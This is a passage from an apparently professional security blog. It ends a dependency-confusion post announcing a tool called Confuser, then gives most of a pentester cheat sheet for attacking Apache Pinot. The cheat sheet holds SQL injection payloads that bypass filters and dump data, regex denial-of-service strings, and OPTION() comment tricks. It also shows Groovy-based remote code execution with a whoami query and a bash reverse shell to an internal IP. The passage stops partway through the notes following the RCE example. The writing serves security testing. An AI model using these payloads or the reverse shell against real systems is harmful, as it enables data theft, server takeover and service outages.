<p>In hindsight, it was a pretty naive approach to scrape <code class="language-plaintext highlighter-rouge">package.json</code> files from public repositories. Open Source projects most likely use only public dependencies and don’t rely on any private infrastructures. On the last day of my research, I downloaded a few closed source Electron apps. Unpacking them, I was able to extract the <code class="language-plaintext highlighter-rouge">package.json</code> in many cases but none yield any interesting results.</p>
<h2 id="summary">Summary</h2>
<p>We’re releasing <strong>Confuser</strong> - a newly created tool to find and test for Dependency Confusion vulnerabilities. It allows scanning <code class="language-plaintext highlighter-rouge">packages.json</code> files, generating and publishing payloads to the NPM repository, and finally aggregating the callbacks from vulnerable targets.</p>
<p>This research has allowed me to greatly increase my understanding of the nature of this vulnerability and the methods of exploitation. The tool has been sufficiently tested to work well during Doyensec’s engagements. That said, there are still many improvements that can be done in this area:</p>
<ul>
<li>
<p>Implement its own DNS server or at least integrate with Burp’s self-hosted Collaborator server instances</p>
</li>
<li>
<p>Add support for other languages and repositories</p>
</li>
</ul>
<p>Additionally, there seems to be several research opportunities in the realm of Dependency Confusion vulnerabilities:</p>
<ul>
<li>
<p>It seems promising to expand the research to closed-source ElectronJS applications. While high profile targets like Microsoft will probably have their bases covered in that regard (also because they were targeted by the original research), there might be many more applications that are still vulnerable</p>
</li>
<li>
<p>Researching other dependency management platforms. The original research touches on NPM, Ruby Gems, Python’s PIP, JFrog and Azure Artifacts. It is very likely that similar problems exist in other environments</p>
</li>
</ul>
Apache Pinot SQLi and RCE Cheat Sheet2022-06-09T00:00:00+02:00https://blog.doyensec.com/2022/06/09/apache-pinot-sqli-rce<style>.apache-pinot-sqli-rce-cheat-sheet #markdown-toc li, .apache-pinot-sqli-rce-cheat-sheet #markdown-toc ul { list-style-type: lower-roman; } .apache-pinot-sqli-rce-cheat-sheet #markdown-toc ul { margin-bottom: 0rem;}</style>
<p>The database platform <a href="https://pinot.apache.org/">Apache Pinot</a> has been growing in popularity. Let’s attack it!</p>
<p>This article will help pentesters use their familiarity with classic database systems such as Postgres and MariaDB, and apply it to Pinot. In this post, we will show how a classic SQL-injection (SQLi) bug in a Pinot-backed API can be escalated to Remote Code Execution (RCE) and then discuss post-exploitation.</p>
<ul id="markdown-toc">
<li><a href="#what-is-pinot" id="markdown-toc-what-is-pinot">What Is Pinot?</a></li>
<li><a href="#essential-architectural-details" id="markdown-toc-essential-architectural-details">Essential Architectural Details</a></li>
<li><a href="#setting-up-a-test-environment" id="markdown-toc-setting-up-a-test-environment">Setting Up a Test Environment</a></li>
<li><a href="#pinot-sql-syntax--injection-basics" id="markdown-toc-pinot-sql-syntax--injection-basics">Pinot SQL Syntax & Injection Basics</a> <ul>
<li><a href="#string-matching" id="markdown-toc-string-matching">String Matching</a></li>
<li><a href="#query-options" id="markdown-toc-query-options">Query Options</a> <ul>
<li><a href="#ctf-grade-sql-injection" id="markdown-toc-ctf-grade-sql-injection">CTF-grade SQL injection</a></li>
</ul>
</li>
</ul>
</li>
<li><a href="#timeouts" id="markdown-toc-timeouts">Timeouts</a></li>
<li><a href="#sql-injection-in-pinot" id="markdown-toc-sql-injection-in-pinot">SQL Injection in Pinot</a></li>
<li><a href="#rce-via-groovy" id="markdown-toc-rce-via-groovy">RCE via Groovy</a> <ul>
<li><a href="#rce-example-queries" id="markdown-toc-rce-example-queries">RCE Example Queries</a></li>
</ul>
</li>
<li><a href="#use-rce-on-server-to-attack-other-nodes" id="markdown-toc-use-rce-on-server-to-attack-other-nodes">Use RCE on Server to Attack Other Nodes</a></li>
<li><a href="#tldr" id="markdown-toc-tldr">TLDR</a></li>
</ul>
<h2 id="what-is-pinot">What Is Pinot?</h2>
<blockquote>
<p>Pinot is a real-time distributed OLAP datastore, purpose-built to provide ultra low-latency analytics, even at extremely high throughput.</p>
</blockquote>
<p>Huh? If it helps, most articles try to explain OLAP (OnLine Analytical Processing) by showing a diagram of your 2D database table turning into a cube, but for our purposes we can ignore all the jargon.</p>
<p>Apache Pinot is a database system which is tuned for analytics queries (Business Intelligence) where:</p>
<ul>
<li>data is being streamed in, and needs to be instantly queryable</li>
<li>many users need to perform complicated queries at the same time</li>
<li>the queries need to quickly aggregate or filter terabytes of data</li>
</ul>
<p><img src="/public/images/apache-pinot-overview.png" alt="Apache Pinot Overview" /></p>
<p>Pinot was started in 2013 at <a href="https://engineering.linkedin.com/teams/data/analytics-platform-apps/analytics-platforms/pinot">LinkedIn</a>, where it now</p>
<blockquote>
<p>powers some of LinkedIn’s more recognisable experiences such as Who Viewed My Profile, Job, Publisher Analytics, […] Pinot also powers LinkedIn’s internal reporting platform…</p>
</blockquote>
<p>Pinot is unlikely to be used for storing a fairly static table of user emails and password hashes. It is more likely to be found ingesting a stream of orders or user actions from Kafka for analysis via an internal dashboard. Takeaway delivery platform UberEats gives all restaurants access to a <a href="https://eng.uber.com/operating-apache-pinot/">Pinot-powered dashboard</a> which</p>
<blockquote>
<p>enables the owner of a restaurant to get insights from Uber Eats orders regarding customer satisfaction, popular menu items, sales, and service quality analysis. Pinot enables slicing and dicing the raw data in different ways and supports low latency queries…</p>
</blockquote>
<h2 id="essential-architectural-details">Essential Architectural Details</h2>
<p>Pinot is written in Java.</p>
<p>Table data is partitioned / sharded into Segments, usually split based on timestamp, which can be stored in different places.</p>
<p>Apache Pinot is a cluster formed of different <a href="https://docs.pinot.apache.org/v/release-0.10.0/basics/components">components</a>, the essential ones being Controllers, Servers and Brokers.</p>
<h3 class="no_toc" id="server">Server</h3>
<p>The Server stores segments of data. It receives SQL queries via GRPC, executes them and returns the results.</p>
<h3 class="no_toc" id="broker">Broker</h3>
<p>The Broker has an exposed HTTP port which clients send queries to. The Broker analyses the query and queries the Servers which have the required segments of data via GRPC. The client receives the results consolidated into a single response.</p>
<h3 class="no_toc" id="controller">Controller</h3>
<p>Maintains cluster metadata and manages other components. It serves admin endpoints and endpoints for uploading data.</p>
<h3 class="no_toc" id="zookeeper">Zookeeper</h3>
<p>Apache Zookeeper is used to store cluster state and metadata. There may be multiple brokers, servers and controllers (LinkedIn claims to have more than 1000 nodes in a cluster), so Zookeeper is used to keep track of these nodes and which servers host which segments. Essentially it’s a hierarchical key-value store.</p>
<h2 id="setting-up-a-test-environment">Setting Up a Test Environment</h2>
<p>Following the <a href="https://docs.pinot.apache.org/basics/getting-started/kubernetes-quickstart">Kubernetes quickstart</a> in Minikube is an easy way to create a multi-node environment. The documentation walks through the steps to install the Pinot Helm chart, set up ingestion via Kafka, and expose port 9000 of the Controller to access the query editor and cluster management UI. If things break horrifically, you can just <code class="language-plaintext highlighter-rouge">minikube delete</code> to wipe everything and start again.</p>
<p>The only recommendations are to:</p>
<ul>
<li>Set <code class="language-plaintext highlighter-rouge">image.tag</code> in <code class="language-plaintext highlighter-rouge">kubernetes/helm/pinot/values.yaml</code> to a specific Pinot release (e.g. <code class="language-plaintext highlighter-rouge">release-0.10.0</code>) rather than <code class="language-plaintext highlighter-rouge">latest</code> to test a specific version.</li>
<li>Install the Pinot chart from <code class="language-plaintext highlighter-rouge">./kubernetes/helm/pinot</code> to use your local configuration changes rather than <code class="language-plaintext highlighter-rouge">pinot/pinot</code> which fetches values from the Github master branch.</li>
<li>Use <code class="language-plaintext highlighter-rouge">stern -n pinot-quickstart pinot</code> to tail logs from all nodes.</li>
</ul>
<h2 id="pinot-sql-syntax--injection-basics">Pinot SQL Syntax & Injection Basics</h2>
<p>While Pinot syntax is based on Apache Calcite, many features in the <a href="https://calcite.apache.org/docs/reference.html">Calcite reference</a> are unsupported in Pinot. Here are some useful language features which may help to identify and test a Pinot backend.</p>
<h3 class="no_toc" id="strings">Strings</h3>
<p>Strings are surrounded by single-quotes. Single-quotes can be escaped with another single-quote. Double quotes denote identifiers e.g. column names.</p>
<h4 class="no_toc" id="string-concatenation">String concatenation</h4>
<p>Performed by the 3-parameter function <code class="language-plaintext highlighter-rouge">CONCAT(str1, str2, separator)</code>. The <code class="language-plaintext highlighter-rouge">+</code> sign only works with numbers.</p>
<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">SELECT</span> <span class="nv">"someColumn"</span><span class="p">,</span> <span class="s1">'a </span><span class="se">''</span><span class="s1">string</span><span class="se">''</span><span class="s1"> with quotes'</span><span class="p">,</span> <span class="n">CONCAT</span><span class="p">(</span><span class="s1">'abc'</span><span class="p">,</span><span class="s1">'efg'</span><span class="p">,</span><span class="s1">'d'</span><span class="p">)</span> <span class="k">FROM</span> <span class="n">myTable</span>
</code></pre></div></div>
<h4 class="no_toc" id="substrings">Substrings</h4>
<p><code class="language-plaintext highlighter-rouge">SUBSTR(col, startIndex, endIndex)</code> where indexes start at 0 and can be negative to count from the end. This is different from Postgres and MySQL where the last parameter is a length.</p>
<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">SELECT</span> <span class="n">SUBSTR</span><span class="p">(</span><span class="s1">'abcdef'</span><span class="p">,</span> <span class="o">-</span><span class="mi">3</span><span class="p">,</span> <span class="o">-</span><span class="mi">1</span><span class="p">)</span> <span class="k">FROM</span> <span class="n">ignoreMe</span> <span class="c1">-- 'def'</span>
</code></pre></div></div>
<h4 class="no_toc" id="length">Length</h4>
<p><code class="language-plaintext highlighter-rouge">LENGTH(str)</code></p>
<h3 class="no_toc" id="comments">Comments</h3>
<p>Line comments <code class="language-plaintext highlighter-rouge">--</code> do not require surrounding whitespace. Multiline comments <code class="language-plaintext highlighter-rouge">/* */</code> raise an error if the closing <code class="language-plaintext highlighter-rouge">*/</code> is missing.</p>
<h3 class="no_toc" id="filters">Filters</h3>
<p>Basic <code class="language-plaintext highlighter-rouge">WHERE</code> filters need to reference a column. Filters which do not operate on any column will raise errors, so SQLi payloads such as <code class="language-plaintext highlighter-rouge">' OR ''='</code> will fail:</p>
<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">SELECT</span> <span class="o">*</span> <span class="k">FROM</span> <span class="n">airlineStatsAvro</span>
<span class="k">WHERE</span> <span class="mi">1</span> <span class="o">=</span> <span class="mi">1</span>
<span class="c1">-- QueryExecutionError:</span>
<span class="c1">-- java.lang.NullPointerException: ColumnMetadata for 1 should not be null.</span>
<span class="c1">-- Potentially invalid column name specified.</span>
<span class="k">SELECT</span> <span class="o">*</span> <span class="k">FROM</span> <span class="n">airlineStatsAvro</span>
<span class="k">WHERE</span> <span class="nb">year</span><span class="p">(</span><span class="n">NOW</span><span class="p">())</span> <span class="o">></span> <span class="mi">0</span>
<span class="c1">-- QueryExecutionError:</span>
<span class="c1">-- java.lang.NullPointerException: ColumnMetadata for 2022 should not be null.</span>
<span class="c1">-- Potentially invalid column name specified.</span>
</code></pre></div></div>
<p>As long as you know a valid column name, you can still return all records e.g.:</p>
<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">SELECT</span> <span class="o">*</span> <span class="k">FROM</span> <span class="n">airlineStatsAvro</span>
<span class="k">WHERE</span> <span class="mi">0</span> <span class="o">=</span> <span class="nb">Year</span> <span class="o">-</span> <span class="nb">Year</span> <span class="k">AND</span> <span class="n">ArrTimeBlk</span> <span class="o">!=</span> <span class="s1">'blahblah-bc'</span>
</code></pre></div></div>
<h3 class="no_toc" id="between">BETWEEN</h3>
<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">SELECT</span> <span class="o">*</span> <span class="k">FROM</span> <span class="n">transcript</span> <span class="k">WHERE</span> <span class="n">studentID</span> <span class="k">between</span> <span class="mi">201</span> <span class="k">and</span> <span class="mi">300</span>
</code></pre></div></div>
<h3 class="no_toc" id="in">IN</h3>
<p>Use <code class="language-plaintext highlighter-rouge">col IN (literal1, literal2, ...)</code>.</p>
<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">SELECT</span> <span class="o">*</span> <span class="k">FROM</span> <span class="n">transcript</span> <span class="k">WHERE</span> <span class="k">UPPER</span><span class="p">(</span><span class="n">firstName</span><span class="p">)</span> <span class="k">IN</span> <span class="p">(</span><span class="s1">'NICK'</span><span class="p">,</span><span class="s1">'LUCY'</span><span class="p">)</span>
</code></pre></div></div>
<h3 id="string-matching">String Matching</h3>
<p>In <code class="language-plaintext highlighter-rouge">LIKE</code> filters, <code class="language-plaintext highlighter-rouge">%</code> and <code class="language-plaintext highlighter-rouge">_</code> are <a href="https://github.com/apache/pinot/blob/30c4635bfeee88f88aa9c9f63b93bcd4a650607f/pinot-common/src/main/java/org/apache/pinot/common/utils/RegexpPatternConverterUtils.java#L32-L37">converted</a> to regular expression patterns <code class="language-plaintext highlighter-rouge">.*</code> and <code class="language-plaintext highlighter-rouge">.</code></p>
<p>The <code class="language-plaintext highlighter-rouge">REGEXP_LIKE(col, regex)</code> function uses a <code class="language-plaintext highlighter-rouge">java.util.regex.Pattern</code> case-insensitive regular expression.</p>
<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">WHERE</span> <span class="n">REGEXP_LIKE</span><span class="p">(</span><span class="n">alphabet</span><span class="p">,</span> <span class="s1">'^a[Bcd]+.*z$'</span><span class="p">)</span>
</code></pre></div></div>
<p>Both methods are vulnerable to Denial of Service (DoS) if users can provide their own unsanitised search queries e.g.:</p>
<ul>
<li><code class="language-plaintext highlighter-rouge">LIKE '%%%%%%%%%%%%%zz'</code></li>
<li><code class="language-plaintext highlighter-rouge">REGEXP_LIKE(col, '((((((.*)*)*)*)*)*)*zz')</code></li>
</ul>
<p>These filters will run on the Pinot server at close to 100% CPU forever (OK, for a very very long time depending on the data in the column).</p>
<h3 class="no_toc" id="union">UNION</h3>
<p>No.</p>
<h3 class="no_toc" id="stacked--batched-queries">Stacked / Batched Queries</h3>
<p>Nope.</p>
<h3 class="no_toc" id="join">JOIN</h3>
<p>Limited support for joins is in development. Currently it is possible to join with offline tables with the <a href="https://docs.pinot.apache.org/v/release-0.10.0/users/user-guide-query/lookup-udf-join"><code class="language-plaintext highlighter-rouge">lookUp</code> function</a>.</p>
<h3 class="no_toc" id="subqueries">Subqueries</h3>
<p>Limited support. The subquery is supposed to return a base64-encoded IdSet. An <a href="https://docs.pinot.apache.org/v/release-0.10.0/users/user-guide-query/filtering-with-idset">IdSet</a> is a data structure (compressed bitmap or Bloom filter) where it is very fast to check if an Id belongs in the IdSet. The <code class="language-plaintext highlighter-rouge">IN_SUBQUERY</code> (filtered on Broker) or <code class="language-plaintext highlighter-rouge">IN_PARTITIONED_SUBQUERY</code> (filtered on Server) functions perform the subquery and then use this IdSet to filter results from the main query.</p>
<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">WHERE</span> <span class="n">IN_SUBQUERY</span><span class="p">(</span>
<span class="n">yearID</span><span class="p">,</span>
<span class="s1">'SELECT ID_SET(yearID) FROM baseballStats WHERE teamID = </span><span class="se">''</span><span class="s1">BC</span><span class="se">''</span><span class="s1">'</span>
<span class="p">)</span> <span class="o">=</span> <span class="mi">1</span>
</code></pre></div></div>
<h3 class="no_toc" id="database-version">Database Version</h3>
<p>It is common to <code class="language-plaintext highlighter-rouge">SELECT @@VERSION</code> or <code class="language-plaintext highlighter-rouge">SELECT VERSION()</code> when fingerprinting database servers. Pinot lacks this feature. Instead, the presence or absence of <a href="https://docs.pinot.apache.org/users/user-guide-query/supported-transformations">functions</a> and other language features must be used to identify a Pinot server version.</p>
<h3 class="no_toc" id="information-schema-tables">Information Schema Tables</h3>
<p>No.</p>
<h3 class="no_toc" id="data-types">Data Types</h3>
<p>Some Pinot functions are sensitive to the column types in use (INT, LONG, BYTES, STRING, FLOAT, DOUBLE). The hash functions like <a href="https://github.com/apache/pinot/blob/30c4635bfeee88f88aa9c9f63b93bcd4a650607f/pinot-common/src/main/java/org/apache/pinot/common/function/scalar/HashFunctions.java#L62-L71">SHA512</a>, for instance, will only operate on <code class="language-plaintext highlighter-rouge">BYTES</code> columns and not <code class="language-plaintext highlighter-rouge">STRING</code> columns. Luckily, we can find the undocumented <a href="https://github.com/apache/pinot/blob/30c4635bfeee88f88aa9c9f63b93bcd4a650607f/pinot-common/src/main/java/org/apache/pinot/common/function/scalar/StringFunctions.java#L352-L360">toUtf8</a> function in the source code and convert strings into bytes:</p>
<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">SELECT</span> <span class="n">md5</span><span class="p">(</span><span class="n">toUtf8</span><span class="p">(</span><span class="n">somestring</span><span class="p">))</span> <span class="k">FROM</span> <span class="k">table</span>
</code></pre></div></div>
<h3 class="no_toc" id="case">CASE</h3>
<p>Simple case:</p>
<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">SELECT</span>
<span class="k">CASE</span> <span class="n">firstName</span> <span class="k">WHEN</span> <span class="s1">'Lucy'</span> <span class="k">THEN</span> <span class="mi">1</span> <span class="k">WHEN</span> <span class="s1">'Bob'</span><span class="p">,</span> <span class="s1">'Nick'</span> <span class="k">THEN</span> <span class="mi">2</span> <span class="k">ELSE</span> <span class="s1">'x'</span> <span class="k">END</span>
<span class="k">FROM</span> <span class="n">transcript</span>
</code></pre></div></div>
<p>Searched case:</p>
<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">SELECT</span>
<span class="k">CASE</span> <span class="k">WHEN</span> <span class="n">firstName</span> <span class="o">=</span> <span class="s1">'Lucy'</span> <span class="k">THEN</span> <span class="mi">1</span> <span class="k">WHEN</span> <span class="n">firstName</span> <span class="o">=</span> <span class="s1">'Bob'</span> <span class="k">THEN</span> <span class="mi">2</span><span class="p">.</span><span class="mi">1</span> <span class="k">ELSE</span> <span class="s1">'x'</span> <span class="k">END</span>
<span class="k">FROM</span> <span class="n">transcript</span>
</code></pre></div></div>
<h3 id="query-options">Query Options</h3>
<p>Certain <a href="https://github.com/apache/pinot/blob/81bda1d26a5c5173864e6edc3081e7135041f4f1/pinot-spi/src/main/java/org/apache/pinot/spi/utils/CommonConstants.java#L263-L283">query options</a> such as timeouts can be added with <code class="language-plaintext highlighter-rouge">OPTION(key=value,key2=value2)</code>. Strangely enough, this can be added anywhere inside the query, and I mean <em>anywhere</em>!</p>
<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">SELECT</span> <span class="n">studentID</span><span class="p">,</span> <span class="n">firstOPTION</span><span class="p">(</span><span class="n">timeoutMs</span><span class="o">=</span><span class="mi">1</span><span class="p">)</span><span class="n">Name</span>
<span class="n">froOPTION</span><span class="p">(</span><span class="n">timeoutMs</span><span class="o">=</span><span class="mi">1</span><span class="p">)</span><span class="n">m</span> <span class="n">tranOPTION</span><span class="p">(</span><span class="n">timeoutMs</span><span class="o">=</span><span class="mi">2</span><span class="p">)</span><span class="n">script</span>
<span class="k">WHERE</span> <span class="n">firstName</span> <span class="k">OPTION</span><span class="p">(</span><span class="n">timeoutMs</span><span class="o">=</span><span class="mi">1000</span><span class="p">)</span> <span class="o">=</span> <span class="s1">'Lucy'</span>
<span class="c1">-- succeeds as the final timeoutMs is long (1000ms)</span>
<span class="k">SELECT</span> <span class="o">*</span> <span class="k">FROM</span> <span class="n">transcript</span> <span class="k">WHERE</span> <span class="n">REGEXP_LIKE</span><span class="p">(</span><span class="n">firstName</span><span class="p">,</span> <span class="s1">'LuOPTION(timeoutMs=1)cy'</span><span class="p">)</span>
<span class="c1">-- BrokerTimeoutError:</span>
<span class="c1">-- Query timed out (time spent: 4ms, timeout: 1ms) for table: transcript_OFFLINE before scattering the request</span>
<span class="c1">--</span>
<span class="c1">-- With timeout 10ms, the error is:</span>
<span class="c1">-- 427: 1 servers [pinot-server-0_O] not responded</span>
<span class="c1">--</span>
<span class="c1">-- With an even larger timeout value the query succeeds and returns results for 'Lucy'.</span>
</code></pre></div></div>
<p>Yes, even inside strings!</p>
<p><strong>In a Pinot-backed search API, queries for <code class="language-plaintext highlighter-rouge">thingumajig</code> and <code class="language-plaintext highlighter-rouge">thinguOPTION(a=b)majig</code> should return identical results,</strong> assuming the characters <code class="language-plaintext highlighter-rouge">()=</code> are not filtered by the API.</p>
<p>This is also potentially a useful WAF bypass.</p>
<p><img src="/public/images/apache-pinot-same-meme.jpg" alt="They're the same picture meme" /></p>
<h4 id="ctf-grade-sql-injection">CTF-grade SQL injection</h4>
<p>In far-fetched scenarios, this could be used to comment out parts of a SQL query, e.g. a route <code class="language-plaintext highlighter-rouge">/getFiles?category=)&title=%25oPtIoN(</code> using a prepared statement to produce the SQL:</p>
<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">SELECT</span> <span class="o">*</span> <span class="k">FROM</span> <span class="n">gchqFiles</span>
<span class="k">WHERE</span>
<span class="n">title</span> <span class="k">LIKE</span> <span class="s1">'%oPtIoN('</span>
<span class="k">and</span> <span class="n">topSecret</span> <span class="o">=</span> <span class="k">false</span>
<span class="k">and</span> <span class="n">category</span> <span class="k">LIKE</span> <span class="s1">')'</span>
</code></pre></div></div>
<p>Everything between <code class="language-plaintext highlighter-rouge">OPTION(</code> and the next <code class="language-plaintext highlighter-rouge">)</code> is <a href="https://github.com/apache/pinot/blob/7b9e16b65dcd63ecc339a4063a4b4269d1f8cf6f/pinot-common/src/main/java/org/apache/pinot/sql/parsers/CalciteSqlParser.java#L476-L479">stripped out</a> using regex <code class="language-plaintext highlighter-rouge">/option\s*\([^)]+\)/i</code>. The query gets executed as:</p>
<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">SELECT</span> <span class="o">*</span> <span class="k">FROM</span> <span class="n">gchqFiles</span>
<span class="k">WHERE</span>
<span class="n">title</span> <span class="k">LIKE</span> <span class="s1">'%'</span>
</code></pre></div></div>
<p>allowing access to all the top secret files!</p>
<p>Note that the error <code class="language-plaintext highlighter-rouge">OPTION statement requires two parts separated by '='</code> occurs if there are the wrong number of equals signs inside the <code class="language-plaintext highlighter-rouge">OPTION()</code>.</p>
<p>Another contrived scenario could result in SQLi and a filter bypass.</p>
<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">SELECT</span> <span class="o">*</span> <span class="k">FROM</span> <span class="n">gchqFiles</span>
<span class="k">WHERE</span>
<span class="n">REGEXP_LIKE</span><span class="p">(</span><span class="n">title</span><span class="p">,</span> <span class="s1">'oPtIoN(a=b'</span><span class="p">)</span>
<span class="k">and</span> <span class="k">not</span> <span class="n">topSecret</span>
<span class="k">and</span> <span class="n">category</span> <span class="o">=</span> <span class="s1">') OR id - id = 0--'</span>
</code></pre></div></div>
<p>will be processed as</p>
<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">SELECT</span> <span class="o">*</span> <span class="k">FROM</span> <span class="n">gchqFiles</span>
<span class="k">WHERE</span>
<span class="n">REGEXP_LIKE</span><span class="p">(</span><span class="n">title</span><span class="p">,</span> <span class="s1">'
and not topSecret
and category = '</span><span class="p">)</span> <span class="k">OR</span> <span class="n">id</span> <span class="o">-</span> <span class="n">id</span> <span class="o">=</span> <span class="mi">0</span>
</code></pre></div></div>
<h2 id="timeouts">Timeouts</h2>
<p>Timeouts do not work. While the Broker returns a timeout exception to the client when the query timeout is reached, the Server continues processing the query row by row until completion, however long that takes. There is no way to cancel an in-progress query besides killing the Server process.</p>
<h2 id="sql-injection-in-pinot">SQL Injection in Pinot</h2>
<p>To proceed, you’ll need a SQL injection vulnerability like for any type of database backend, where malicious user input can wind up in the query body rather than being sent as parameters with prepared statements.</p>
<p>Pinot backends do not support prepared statements, but the Java client has a <code class="language-plaintext highlighter-rouge">PreparedStatement</code> class which <a href="https://github.com/apache/pinot/blob/7b9e16b65dcd63ecc339a4063a4b4269d1f8cf6f/pinot-clients/pinot-java-client/src/main/java/org/apache/pinot/client/PreparedStatement.java#L53-L87">escapes single quotes</a> before sending the request to the Broker and can prevent SQLi (except the <code class="language-plaintext highlighter-rouge">OPTION()</code> variety).</p>
<p>Injection may appear in a search query such as:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">query</span> <span class="o">=</span> <span class="s">"""SELECT order_id, order_details_json FROM orders
WHERE store_id IN ({stores})
AND REGEXP_LIKE(product_name,'{query}')
AND refunded = false"""</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span>
<span class="n">stores</span><span class="o">=</span><span class="n">user</span><span class="p">.</span><span class="n">stores</span><span class="p">,</span>
<span class="n">query</span><span class="o">=</span><span class="n">request</span><span class="p">.</span><span class="n">query</span><span class="p">,</span>
<span class="p">)</span>
</code></pre></div></div>
<p>The <code class="language-plaintext highlighter-rouge">query</code> parameter can be abused for SQL injection to return <strong>all orders in the system</strong> without the restriction to specific store IDs. An example payload is <code class="language-plaintext highlighter-rouge">!xyz') OR store_id - store_id = 0 OR (product_name = 'abc!</code> which will produce the following SQL query:</p>
<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">SELECT</span> <span class="n">order_id</span><span class="p">,</span> <span class="n">order_details_json</span> <span class="k">FROM</span> <span class="n">orders</span>
<span class="k">WHERE</span> <span class="n">store_id</span> <span class="k">IN</span> <span class="p">(</span><span class="mi">12</span><span class="p">,</span> <span class="mi">34</span><span class="p">,</span> <span class="mi">56</span><span class="p">)</span>
<span class="k">AND</span> <span class="n">REGEXP_LIKE</span><span class="p">(</span><span class="n">product_name</span><span class="p">,</span><span class="s1">'!xyz'</span><span class="p">)</span> <span class="k">OR</span> <span class="n">store_id</span> <span class="o">-</span> <span class="n">store_id</span> <span class="o">=</span> <span class="mi">0</span> <span class="k">OR</span> <span class="p">(</span><span class="n">product_name</span> <span class="o">=</span> <span class="s1">'abc!'</span><span class="p">)</span>
<span class="k">AND</span> <span class="n">refunded</span> <span class="o">=</span> <span class="k">false</span>
</code></pre></div></div>
<p>The logical split happens on the <code class="language-plaintext highlighter-rouge">OR</code>, so records will be returned if either:</p>
<ul>
<li><code class="language-plaintext highlighter-rouge">store_id IN (12, 34, 56) AND REGEXP_LIKE(product_name,'!xyz')</code> (unlikely to have any results)</li>
<li><code class="language-plaintext highlighter-rouge">store_id - store_id = 0</code> (always true, so all records are returned)</li>
<li><code class="language-plaintext highlighter-rouge">(product_name = 'abc!') AND refunded = false</code> (unlikely to have any results)</li>
</ul>
<p>If the query template used by the target has no new lines, the query can alternatively be ended with a line comment <code class="language-plaintext highlighter-rouge">!xyz') OR store_id - store_id = 0--</code>.</p>
<h2 id="rce-via-groovy">RCE via Groovy</h2>
<p>While maturity is bringing improvements, secure design has not always been a priority. Pinot trusts anyone who can query the database to also execute code on the Server, as <strong>root</strong> 😲. This <del>feature</del> gaping security hole is enabled by default in all released versions of Apache Pinot. It was disabled by default in <a href="https://github.com/apache/pinot/pull/8711">a commit on May 17, 2022</a> but this commit has not yet made it into a release.</p>
<p>Scripts are written in the Groovy language. This is a JVM-based language, allowing you to use all your favourite Java methods. Here’s some Groovy syntax you might care about:</p>
<div class="language-groovy highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// print to Server log (only going to be useful when testing locally)</span>
<span class="n">println</span> <span class="mi">3</span>
<span class="c1">// make a variable</span>
<span class="kt">def</span> <span class="n">data</span> <span class="o">=</span> <span class="s1">'abc'</span>
<span class="c1">// interpolation by using double quotes and $ARG or ${ARG}</span>
<span class="kt">def</span> <span class="n">moredata</span> <span class="o">=</span> <span class="s2">"${data}def"</span> <span class="c1">// abcdef</span>
<span class="c1">// execute shell command, wait for completion and then return stdout</span>
<span class="s1">'whoami'</span><span class="o">.</span><span class="na">execute</span><span class="o">().</span><span class="na">text</span>
<span class="c1">// launch shell command, but do not wait for completion</span>
<span class="s2">"touch /tmp/$arg0"</span><span class="o">.</span><span class="na">execute</span><span class="o">()</span>
<span class="c1">// execute shell command with array syntax, helps avoid quote-escaping hell</span>
<span class="o">[</span><span class="s2">"bash"</span><span class="o">,</span> <span class="s2">"-c"</span><span class="o">,</span> <span class="s2">"bash -i >& /dev/tcp/192.168.0.4/53 0>&1 &"</span><span class="o">].</span><span class="na">execute</span><span class="o">()</span>
<span class="c1">// a semicolon must be placed after the final closing bracket of an if-else block</span>
<span class="k">if</span> <span class="o">(</span><span class="kc">true</span><span class="o">)</span> <span class="o">{</span> <span class="n">a</span><span class="o">()</span> <span class="o">}</span> <span class="k">else</span> <span class="o">{</span> <span class="n">b</span><span class="o">()</span> <span class="o">};</span> <span class="k">return</span> <span class="s2">"a"</span>
</code></pre></div></div>
<p>To execute Groovy, use:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>GROOVY(
'{"returnType":"INT or STRING or some other data type","isSingleValue":true}',
'groovy code on one line',
MaybeAColumnName,
MaybeAnotherColumnName
)
</code></pre></div></div>
<p>If columns (or transform functions) are specified after the groovy code, they appear as variables <code class="language-plaintext highlighter-rouge">arg0</code>, <code class="language-plaintext highlighter-rouge">arg1</code>, etc. in the Groovy script.</p>
<h3 id="rce-example-queries">RCE Example Queries</h3>
<h4 class="no_toc" id="whoami">Whoami</h4>
<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">SELECT</span> <span class="o">*</span> <span class="k">FROM</span> <span class="n">myTable</span> <span class="k">WHERE</span> <span class="n">groovy</span><span class="p">(</span>
<span class="s1">'{"returnType":"INT","isSingleValue":true}'</span><span class="p">,</span>
<span class="s1">'println "whoami".execute().text; return 1'</span>
<span class="p">)</span> <span class="o">=</span> <span class="mi">1</span> <span class="k">limit</span> <span class="mi">5</span>
</code></pre></div></div>
<p>Prints <code class="language-plaintext highlighter-rouge">root</code> to the log! The official Pinot docker images run Groovy scripts as root.</p>
<p>Note that:</p>
<ol>
<li>The Groovy function is an exception to the <a href="#filters">earlier rule</a> requiring filters to include a column name.</li>
